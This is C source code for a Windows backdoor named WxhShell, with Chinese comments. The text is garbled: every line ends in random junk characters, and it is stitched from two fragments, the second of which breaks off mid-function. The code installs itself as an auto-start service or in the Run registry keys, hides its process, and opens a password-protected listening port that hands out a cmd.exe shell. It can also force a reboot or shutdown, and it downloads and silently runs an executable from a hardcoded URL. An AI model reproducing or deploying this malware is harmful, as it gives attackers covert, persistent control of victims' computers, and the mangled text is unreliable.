    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XRP+0=0  
    if(Boot(SHUTDOWN)) GKG:iR)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BG6Lky/omz  
    else { Z}3;Ych  
    closesocket(wsh); j_b/66JyN  
    ExitThread(0); LCb0Kq}*/(  
    } rAD4}A_w  
    break; {@PZlQg  
    } (.b!kfC  
  // 获取shell Vq^b_^  
  case 's': {  vF'IK,  
    CmdShell(wsh); ciW;sK8  
    closesocket(wsh); _6L'}X$)N  
    ExitThread(0); \\Z?v,XsS  
    break; x@x5|8:ga  
  } &0{&4,  
  // 退出 z*o2jz?t4  
  case 'x': { \JP9lJ3<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8rNf4]5@X(  
    CloseIt(wsh); }$ a *XY1  
    break; EWWCh0 {  
    } IcNZUZGE  
  // 离开 m`4N1egCt  
  case 'q': { vJ;0%;eu[!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BM87f:d  
    closesocket(wsh); V Y@`)  
    WSACleanup(); A^4#6],%v  
    exit(1); Ctk1\quz  
    break; 6~6 vwp  
        } g$z6*bL  
  } r]S"i$  
  } xg;F};}5$  
 7uzc1}r  
  // 提示信息 hl,x|.f}4Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (T.j3@Ko  
} }G"bD8+  
  } UAC"jy1D  
cxIAI=JK  
  return; "a<:fEsSE  
} [9y y<Z5  
xk^`4;  
// shell模块句柄 LVy (O9g  
int CmdShell(SOCKET sock) Z/OERO   
{ r\q|DZ7  
STARTUPINFO si; 3RI %OCGF  
ZeroMemory(&si,sizeof(si)); NQN?CBFQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;NGSJfn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |#B)`r8  
PROCESS_INFORMATION ProcessInfo; k:&B b"  
char cmdline[]="cmd"; Zb+n\sv4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1.nYT*  
  return 0; m4R:KjN*  
} EEHTlqvR  
/^`d o3a}  
// 自身启动模式 P+rDln {  
int StartFromService(void) A=np ?wc  
{ %KR2Vlh0  
typedef struct v\5`n@}4  
{ bq{eu#rQJ  
  DWORD ExitStatus; z AY -Y  
  DWORD PebBaseAddress; jori,"s  
  DWORD AffinityMask; mC'<Ov<eJ  
  DWORD BasePriority; 'Ojxzz*tT  
  ULONG UniqueProcessId; Q776cj^L  
  ULONG InheritedFromUniqueProcessId; )OFf nKh  
}   PROCESS_BASIC_INFORMATION; )t$-/8  
Qgq VbJP"  
PROCNTQSIP NtQueryInformationProcess; nDz.61$[  
QPB ^%8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9]g`VD6 <v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =V:Al   
iVb7>d9}  
  HANDLE             hProcess; Wyb+K)Tg  
  PROCESS_BASIC_INFORMATION pbi; ?4_ME3$t  
zo1 fUsK?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h<g2aL21?F  
  if(NULL == hInst ) return 0; OK \9`  
OS=~<ba  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H4W!@"e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BfDC[(n`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sLc,Dx"+  
QGnUPiD^  
  if (!NtQueryInformationProcess) return 0; Y 9BKd78Y  
,S&p\(r.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L^Fb;sJYI  
  if(!hProcess) return 0; $@~s O0q  
zw0u|q;#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .cr<.Ov  
pwA~?$B1  
  CloseHandle(hProcess); 9r 5(  
a._>?rVy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QvlV jDIy  
if(hProcess==NULL) return 0; ,2mq}u>WU  
/lc4oXG8  
HMODULE hMod; r%`3*<ALV)  
char procName[255]; @u:q#b  
unsigned long cbNeeded; 43*;"w=  
u&e?3qKX(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H?;@r1ZAn  
.RWq!Z=)3  
  CloseHandle(hProcess); 5dL!e<<  
+9.GNu  
if(strstr(procName,"services")) return 1; // 以服务启动 O:#/To'  
-`1)yhS  
  return 0; // 注册表启动 % "^CrG  
} ,hCbx #h  
A $l  
// 主模块 >j&k:  
int StartWxhshell(LPSTR lpCmdLine) Y0ACJ?|  
{ ,v#3A7"yW  
  SOCKET wsl; 4H`B]Zt7  
BOOL val=TRUE; 07>D G#  
  int port=0; %z-n2%  
  struct sockaddr_in door; YOUX  
SfPtG  
  if(wscfg.ws_autoins) Install(); sc z8 `%  
1/A|$t[  
port=atoi(lpCmdLine); b\H,+|i K  
w=thaF.  
if(port<=0) port=wscfg.ws_port; G~/*!?&z  
z h%b<  
  WSADATA data; \+<=O`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;bFd*8?;  
YOtzj a]~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @QDpw1;V'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k-sBf Jy\  
  door.sin_family = AF_INET; 6df`]s c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qKs"L^b  
  door.sin_port = htons(port); X|y0pH:S  
/1.gv~`+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |pE ~  
closesocket(wsl); sAjN<P  
return 1;  ;ih;8  
} 'r} y{`3M  
r(g2&}o\  
  if(listen(wsl,2) == INVALID_SOCKET) { UFeQ%oRa8  
closesocket(wsl); VA%4ssy  
return 1; H:o=gP60]  
} P,k=u$  
  Wxhshell(wsl); 7+rroCr"  
  WSACleanup(); MF +F8h>/  
vSk1/  
return 0; ?Xq kf>  
\3 O1o#=(  
} LqS_%6^  
9dp1NjOtAc  
// 以NT服务方式启动 T!>sL=uf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) isz-MP$:K5  
{ y>ePCDR3  
DWORD   status = 0; >FL%H=]  
  DWORD   specificError = 0xfffffff; v5*JBW+c*  
LKst QP!I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A9LVS&52  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^h"@OEga?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >&Vz/0  
  serviceStatus.dwWin32ExitCode     = 0; qrc ir-+  
  serviceStatus.dwServiceSpecificExitCode = 0; U+ V yH4"  
  serviceStatus.dwCheckPoint       = 0; 8 LsJ}c  
  serviceStatus.dwWaitHint       = 0; Om2w+yU  
B%z+\<3^q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H )Ze{N  
  if (hServiceStatusHandle==0) return; u3IhB8'  
`Cz_^>]|=  
status = GetLastError(); (ZQ?1Qxo  
  if (status!=NO_ERROR) |^OK@KdL1  
{ Gl9 ,!"A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ccy q~  
    serviceStatus.dwCheckPoint       = 0; 6Z{(.'Be  
    serviceStatus.dwWaitHint       = 0; ghW  
    serviceStatus.dwWin32ExitCode     = status; j-t"  
    serviceStatus.dwServiceSpecificExitCode = specificError; S4 s#EDs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i\kDb=  
    return; }`]Et99Q5  
  } i~rb-~o  
Cw~fP[5XMF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +_ny{i`'  
  serviceStatus.dwCheckPoint       = 0; ~ F>'+9?Sn  
  serviceStatus.dwWaitHint       = 0; NBA`@K~4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h/*@ML+bB8  
} lF\2a&YRbn  
yn.[-  
// 处理NT服务事件,比如:启动、停止 DDZnNSo<JQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ix5<h }  
{ @ 6H7  
switch(fdwControl) e /L([  
{ bl#6B.*=  
case SERVICE_CONTROL_STOP: }U|Vpgd!  
  serviceStatus.dwWin32ExitCode = 0; n'!x"O7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qki? >j"  
  serviceStatus.dwCheckPoint   = 0; ]N:Wt2  
  serviceStatus.dwWaitHint     = 0; _!9I f  
  { `k(m2k ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hd)WdGJp  
  } |Gr@Mi5  
  return; xp*d:  
case SERVICE_CONTROL_PAUSE: \ZBz]rh*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wl]XOUZ  
  break; <|hrmwk|  
case SERVICE_CONTROL_CONTINUE: $dug"[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @)@tIhw  
  break; Y[W] YPs  
case SERVICE_CONTROL_INTERROGATE: }$s QmR R  
  break; oslj<  
}; *E-MJCv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X,D ]S@  
} yGH')TsjD  
%Lq}5zB  
// 标准应用程序主函数 "e/"$z'ca  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M%s!qC+  
{ fyxc4-D  
{~#d_!(  
// 获取操作系统版本  &%T*sR  
OsIsNt=GetOsVer(); zbfe=J4c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BRv#`  
ed#>q;jX  
  // 从命令行安装 P1<McQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); qJR8fQ  
#hXuGBZEI  
  // 下载执行文件 hPUZ{#;n  
if(wscfg.ws_downexe) { ""h%RhcZ\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zt 1nH  
  WinExec(wscfg.ws_filenam,SW_HIDE); m; PTO$--  
} 5Hs !s+  
MPLeqk$;  
if(!OsIsNt) { milQxSpj  
// 如果时win9x,隐藏进程并且设置为注册表启动  !>Q{co'  
HideProc(); %h v-3L#V  
StartWxhshell(lpCmdLine);  1 K]  
} <ILi38%Y  
else m`jGBSlw_  
  if(StartFromService()) >"Zn# FY  
  // 以服务方式启动 jEK{47i v  
  StartServiceCtrlDispatcher(DispatchTable); Z1wfy\9c8  
else <f0yh"?6VH  
  // 普通方式启动 WL3J>S_  
  StartWxhshell(lpCmdLine); @== "$uRw  
,.&D{ $1W  
return 0; 4ZB]n,pfT  
} ZT+{8,  
eYPIZ{S7h  
\p)eY#A  
8qT^=K $  
=========================================== rEs!gGNN  
LtNspFoLb  
?l`|j*  
}RQ'aeVl(  
 0 - u,AD  
(>dL  
" 1119YeL  
3) XS^WG  
#include <stdio.h> #*G}v%Ow/u  
#include <string.h> >,f5 5  
#include <windows.h> A \Z_br  
#include <winsock2.h> )F6p+i="  
#include <winsvc.h> q4Y'yp`?K;  
#include <urlmon.h> r1sA^2g.  
pzU:AUW  
#pragma comment (lib, "Ws2_32.lib") Ua+Us"M3}  
#pragma comment (lib, "urlmon.lib") ^{-Z3Yxd  
T=fVD8  
#define MAX_USER   100 // 最大客户端连接数 07Oagq(  
#define BUF_SOCK   200 // sock buffer ^k!u  
#define KEY_BUFF   255 // 输入 buffer o|V=3y Ok  
,k m`-6.2?  
#define REBOOT     0   // 重启 Rtai?  
#define SHUTDOWN   1   // 关机 5(y Q-/6C+  
(- {.T  
#define DEF_PORT   5000 // 监听端口 Zy6>i2f4f  
83Fmu/(  
#define REG_LEN     16   // 注册表键长度 dVBr-+  
#define SVC_LEN     80   // NT服务名长度 7gt%[r M  
{;hR FQ^b  
// 从dll定义API 5 Praj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M5+K[Ir/y9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g+=f=5I3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fJn4'Q*U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -J++b2R\%  
9>d~g!u=  
// wxhshell配置信息 r D|Bj(X8  
struct WSCFG { u~27\oj,  
  int ws_port;         // 监听端口 =7zvp,B  
  char ws_passstr[REG_LEN]; // 口令 <:~'s]`zf  
  int ws_autoins;       // 安装标记, 1=yes 0=no OI)/J;[-e  
  char ws_regname[REG_LEN]; // 注册表键名 C6:; T%  
  char ws_svcname[REG_LEN]; // 服务名 #:nds,   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =UF mN"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &P>a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $p.0[A(N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $9<P3J 1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )H<F([Jri  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @. KFWAm  
Fpntd IU  
}; ~)!vhdBe  
efm#:>H  
// default Wxhshell configuration iR4!X()  
struct WSCFG wscfg={DEF_PORT, uh~,>~a|  
    "xuhuanlingzhe", XNB4KjT  
    1, uJ%XF*>_D  
    "Wxhshell", (k>I!Z/&2  
    "Wxhshell", = p$:vW  
            "WxhShell Service", EN~ha:9  
    "Wrsky Windows CmdShell Service", _6MNEoy?  
    "Please Input Your Password: ", [214b=  
  1, YN5p@b=FX  
  "http://www.wrsky.com/wxhshell.exe", M1=y-3dW3  
  "Wxhshell.exe" "\x\P)j0>  
    }; F$H^W@<w  
JJE0q5[  
// 消息定义模块 Dq~D4|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ck^jgB.7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T~-PT39E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #6qLu  
char *msg_ws_ext="\n\rExit."; o`ijdg!5qG  
char *msg_ws_end="\n\rQuit."; g+92}$_  
char *msg_ws_boot="\n\rReboot..."; Z<6Fq*I  
char *msg_ws_poff="\n\rShutdown..."; 5SmgE2}  
char *msg_ws_down="\n\rSave to "; aG/L'weR  
/*) =o+  
char *msg_ws_err="\n\rErr!"; 7%Ii:5Bp  
char *msg_ws_ok="\n\rOK!"; >-<7 r?~  
ttC+`0+H  
char ExeFile[MAX_PATH]; nV+]jQ~o  
int nUser = 0; \j3XT}  
HANDLE handles[MAX_USER]; >Y[nU~w  
int OsIsNt; PEHaH"|([=  
*[[TDduh&  
SERVICE_STATUS       serviceStatus; dEM=U;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U4$CkTe2Y  
i2+vUl|;Z  
// 函数声明 :p,DAt}  
int Install(void); (.54`[2+L  
int Uninstall(void); =f{YwtG  
int DownloadFile(char *sURL, SOCKET wsh); E;C=V2#>[  
int Boot(int flag); .f]2%utHB  
void HideProc(void); ^\zf8kPti  
int GetOsVer(void); N8w@8|KM  
int Wxhshell(SOCKET wsl); W-ll2b  
void TalkWithClient(void *cs);  [EU \-  
int CmdShell(SOCKET sock); $mp'/]  
int StartFromService(void); 9Wi+7_)  
int StartWxhshell(LPSTR lpCmdLine); QnNddCiu=  
b".e6zev  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M]$_>&"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O*zF` 9  
>rb8A6  
// 数据结构和表定义 R-2V C  
SERVICE_TABLE_ENTRY DispatchTable[] = +HOHu*D  
{ SvD^'( x  
{wscfg.ws_svcname, NTServiceMain}, B '"RKs]  
{NULL, NULL} ;+h-o  
}; zV8^Hxl  
5L8)w5   
// 自我安装 5U+a{oA  
int Install(void) SYsbe 5j  
{ >m;*Zk`  
  char svExeFile[MAX_PATH]; Lw!Q*3c  
  HKEY key; #XJ`/\E]  
  strcpy(svExeFile,ExeFile); ;_vo2zl1  
,S7 g=(27(  
// 如果是win9x系统,修改注册表设为自启动 k^Q>  
if(!OsIsNt) { D-IXO @x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QirS=H+~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^E3i]Oem  
  RegCloseKey(key); & 0*=F%Fd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :>'4@{'   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a9CK4Kg  
  RegCloseKey(key); 8QYM/yAM  
  return 0; GE{u2<%@  
    } ?g21U97Q  
  } <CnTiS#  
} BRg(h3 ED  
else { 'U" ub2j  
yxt `  
// 如果是NT以上系统,安装为系统服务 lB Y"@N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }dt7n65  
if (schSCManager!=0) [Q=NGHB1/  
{ BbqH02i  
  SC_HANDLE schService = CreateService *j0kb"#  
  ( jg_##Oha  
  schSCManager, mSu1/?PS  
  wscfg.ws_svcname, Bco_\cpt]z  
  wscfg.ws_svcdisp, 3Y}X7-|)Z  
  SERVICE_ALL_ACCESS, I2$.o0=3Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qd7 86~  
  SERVICE_AUTO_START, `zJTVi4  
  SERVICE_ERROR_NORMAL, 6fOh *  
  svExeFile, rprtp5Cg  
  NULL, !}gC0dJ  
  NULL, 8=#J:LeXj  
  NULL, 0WjPo  
  NULL, 85Hb~|0  
  NULL _m+64qG_8'  
  ); itmdY!;<  
  if (schService!=0) c9 UJ=  
  { C)r!;u)AZH  
  CloseServiceHandle(schService); +Xg]@IS-eg  
  CloseServiceHandle(schSCManager); ]ctlK'.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =h4* ^NJ  
  strcat(svExeFile,wscfg.ws_svcname); uD2v6x236  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q]q`+ Z65  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HktvUJ(Ii  
  RegCloseKey(key); x[,HK{U|t  
  return 0; 1Ue;hu'q:  
    } A{ :PpYs  
  } 8p?Fql}F [  
  CloseServiceHandle(schSCManager); HW)4#nLhh  
} \Ami-<T  
} #sOkD  
0t-!6  
return 1; 1%?J l~M  
} ]&')# YO  
W+&w'~M  
// 自我卸载 ctv=8SFv(  
int Uninstall(void) <3wfY #;><  
{ 1Fado$# 7  
  HKEY key; nH#|]gVI  
eRK kHd-  
if(!OsIsNt) { ccUq!1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? (&)p~o  
  RegDeleteValue(key,wscfg.ws_regname); }=':)?'-.  
  RegCloseKey(key); v>2gx1F"?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R).?lnS  
  RegDeleteValue(key,wscfg.ws_regname); cMCGaaLU  
  RegCloseKey(key); `Ns$HV  
  return 0; 3aL8 gE  
  } XNwZSW  
} X  8V^  
} *Txt`z[|  
else { !^dvtv`K  
_]~gp.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q1Ja*=r  
if (schSCManager!=0) M(l>^N8W8  
{ @O7hY8",  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %<|w:z$vp  
  if (schService!=0) *(%]|z}]m  
  { U*.Wx0QM  
  if(DeleteService(schService)!=0) { U2=PmS P  
  CloseServiceHandle(schService); <+1d'VQ2  
  CloseServiceHandle(schSCManager); JmJ8s hq  
  return 0; .^<4]  
  } LV4]YC  
  CloseServiceHandle(schService); W0]W[b,:u$  
  } !2)$lM1@J  
  CloseServiceHandle(schSCManager); c~B[ <.Qj  
} 5 ",@!1ju  
} nATEv2:G  
!TJCQ[Aa }  
return 1; 1LbJR'}  
} VP|ga }(  
X>C l{.  
// 从指定url下载文件 "r6DZi(^K  
int DownloadFile(char *sURL, SOCKET wsh) 1m*fkM#  
{ ;VY0DAp{  
  HRESULT hr; uyt]\zVT  
char seps[]= "/"; B'( /W@  
char *token; D<=:9  
char *file; yF &"'L  
char myURL[MAX_PATH]; xFU*,Y  
char myFILE[MAX_PATH]; t(-`==.R  
fVlTsc|e  
strcpy(myURL,sURL); ;++CMTza]  
  token=strtok(myURL,seps); [whX),3>  
  while(token!=NULL) |/u&%w?W  
  { Mqu>#lL  
    file=token; n>d@}hyv  
  token=strtok(NULL,seps); C NDf&dzX8  
  } F ] e]  
0Q^a*7w`8a  
GetCurrentDirectory(MAX_PATH,myFILE); ?lg  
strcat(myFILE, "\\"); Tw|cgB  
strcat(myFILE, file); M_wqb'=  
  send(wsh,myFILE,strlen(myFILE),0); N/ 7Q(^  
send(wsh,"...",3,0); Pqe{C?7B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?!R Z~~d  
  if(hr==S_OK) 3urL*Fw,  
return 0; XG]ltSOy  
else h,-8( S  
return 1; )Mw<e  
@D<q=:k  
} zKycd*X  
VqzcTr]_  
// 系统电源模块 8!a6)Zeux  
int Boot(int flag) %d..L-`]ET  
{ os|Y=a  
  HANDLE hToken; S GAu.8Js  
  TOKEN_PRIVILEGES tkp; *>x~`  
RP}.Ei  
  if(OsIsNt) { ~&>|u5C*@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 86[/NTD<-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y7QIFY's~  
    tkp.PrivilegeCount = 1; wYxnKm~f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +}IOTw" O`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *h=|KOS  
if(flag==REBOOT) { rFY% fo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9cJzL"yi  
  return 0; +b<q4W  
} h{s- e.  
else { W'f{u&<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5v51:g>c  
  return 0; {VWX?Mm  
} $S~e"ca1  
  } GEr]zMYG[A  
  else { |Qq_;x]  
if(flag==REBOOT) { mlolSD;7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3GkVMYI  
  return 0; D8u_Z<6IjI  
} Ol8ma`}Nq3  
else { Vz$X0C=W;H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ra\>^W6z  
  return 0; jl# )CEx  
} B(<;]  
} &"vh=Z-  
*,w9#?2x  
return 1; * A B  
} E 9=a+l9  
- V Rby  
// win9x进程隐藏模块 1:I47/  
void HideProc(void) &5fM8 Opkd  
{ bAIo5lr  
R:7j`gHJ|9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ") Xy%C`J  
  if ( hKernel != NULL ) Xne{:!btw  
  { )*[3Imq/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R8 1z|+c|_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !o.l:Mr  
    FreeLibrary(hKernel); Xj:?V;  
  } b<UZD yN~  
Yrb[:;Y  
return; &P Ru[!  
} O9>& E;`5  
ADoxma@  
// 获取操作系统版本 /"d5<B`%  
int GetOsVer(void) SWujj,-[  
{ >mzK96  
  OSVERSIONINFO winfo; HhfuHZ<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {9wBb`.n^  
  GetVersionEx(&winfo); :( A5 ,$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f]F]wg\_f  
  return 1; /JPyADi  
  else }5#<`8  
  return 0; 't3/< h<  
} T9enyYt%  
R3;GMe@D#  
// 客户端句柄模块 KL]@y!QU  
int Wxhshell(SOCKET wsl) "y@B|  
{ W2Y%PD9a  
  SOCKET wsh; SJhcmx+  
  struct sockaddr_in client; e-Z+)4fH  
  DWORD myID; .%>UA|[~:  
LO8V*H(  
  while(nUser<MAX_USER) X^4HYm  
{ >U@7xeK  
  int nSize=sizeof(client); r 5::c= Cl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P@LYa_UFsN  
  if(wsh==INVALID_SOCKET) return 1; 4}sfJ0HhX  
d)m +Hc.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ct[{>asun  
if(handles[nUser]==0) ;j]0GD,c$  
  closesocket(wsh); kDuN3  
else yRaB\'  
  nUser++; :AYp{"{  
  } $5aRu,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0ts] iQ7  
Tvr2K84l  
  return 0; _ 1[5~Pnh  
} N( 0G!sTI  
"#x<>a )O\  
// 关闭 socket w4Nm4To  
void CloseIt(SOCKET wsh) ,.Ac= "f  
{ D2x-Wa  
closesocket(wsh); L~fx VdUz  
nUser--; "\bbe@  
ExitThread(0); Y9fktg.  
} _W]qV2j  
e_6VPVa  
// 客户端请求句柄 >h>X/a(=~  
void TalkWithClient(void *cs) D}59fWz@  
{ 26|2r  
/I|.^ Id|  
  SOCKET wsh=(SOCKET)cs; D4%5T>^LW[  
  char pwd[SVC_LEN]; v5U\E`)s  
  char cmd[KEY_BUFF]; [xiZkV([  
char chr[1]; GEU:xn  
int i,j; %(h-cuhq  
in_~,fd  
  while (nUser < MAX_USER) { 7)sEW#d!  
:X-Z|Pv8  
if(wscfg.ws_passstr) { ](yw2c;m e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Nl)ocHv!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *x3";%o  
  //ZeroMemory(pwd,KEY_BUFF); 1SoKnfz{6  
      i=0; (h>Jz  
  while(i<SVC_LEN) { )3g7dtq}  
qUX   
  // 设置超时 Eyu]0+  
  fd_set FdRead; a-\\A[E  
  struct timeval TimeOut; u*u>F@C8  
  FD_ZERO(&FdRead); N=hr%{} c  
  FD_SET(wsh,&FdRead); \ZiZ X$  
  TimeOut.tv_sec=8; X^mv sY  
  TimeOut.tv_usec=0; 7Yp;B:5@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1(6B|w5+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m~Q]#r  
~7aBli=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EIO!f[]o  
  pwd=chr[0]; #|'&%n|Z  
  if(chr[0]==0xd || chr[0]==0xa) { 5m2(7FC%su  
  pwd=0; .`4N#EjP  
  break; QA_SS'*  
  } \5UwZx\  
  i++; HPVW2Y0_N  
    } Oq~>P!=   
*xB9~:  
  // 如果是非法用户,关闭 socket R=ddQ:W6g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u,<I%  
} sXm8KV  
7MIu-x|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ])paU8u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o"D`_ER  
3vTX2e.w  
while(1) { gNr/rp9A$m  
X;ef&n`U0  
  ZeroMemory(cmd,KEY_BUFF); 4Fhiac  
S%n5,vwE  
      // 自动支持客户端 telnet标准   ^L}fj$  
  j=0; \ F=w~ $)  
  while(j<KEY_BUFF) { U1(<1eTyu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sOA!Sl  
  cmd[j]=chr[0]; ?CGbnXZ4Ug  
  if(chr[0]==0xa || chr[0]==0xd) { ~?&;nTwHe  
  cmd[j]=0; v{4K$o  
  break; z:f[<`,GT  
  } \M^L'Mkj  
  j++; R?3^Kx  
    } Th,15H DA  
sl^i%xJ|l'  
  // 下载文件 ^6;n@  
  if(strstr(cmd,"http://")) { .Q FGIAM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]$/TsN  
  if(DownloadFile(cmd,wsh)) !fF1tW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !` S ?  
  else !J ")TP=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]0P-?O:  
  } $/ ;:Xb=q  
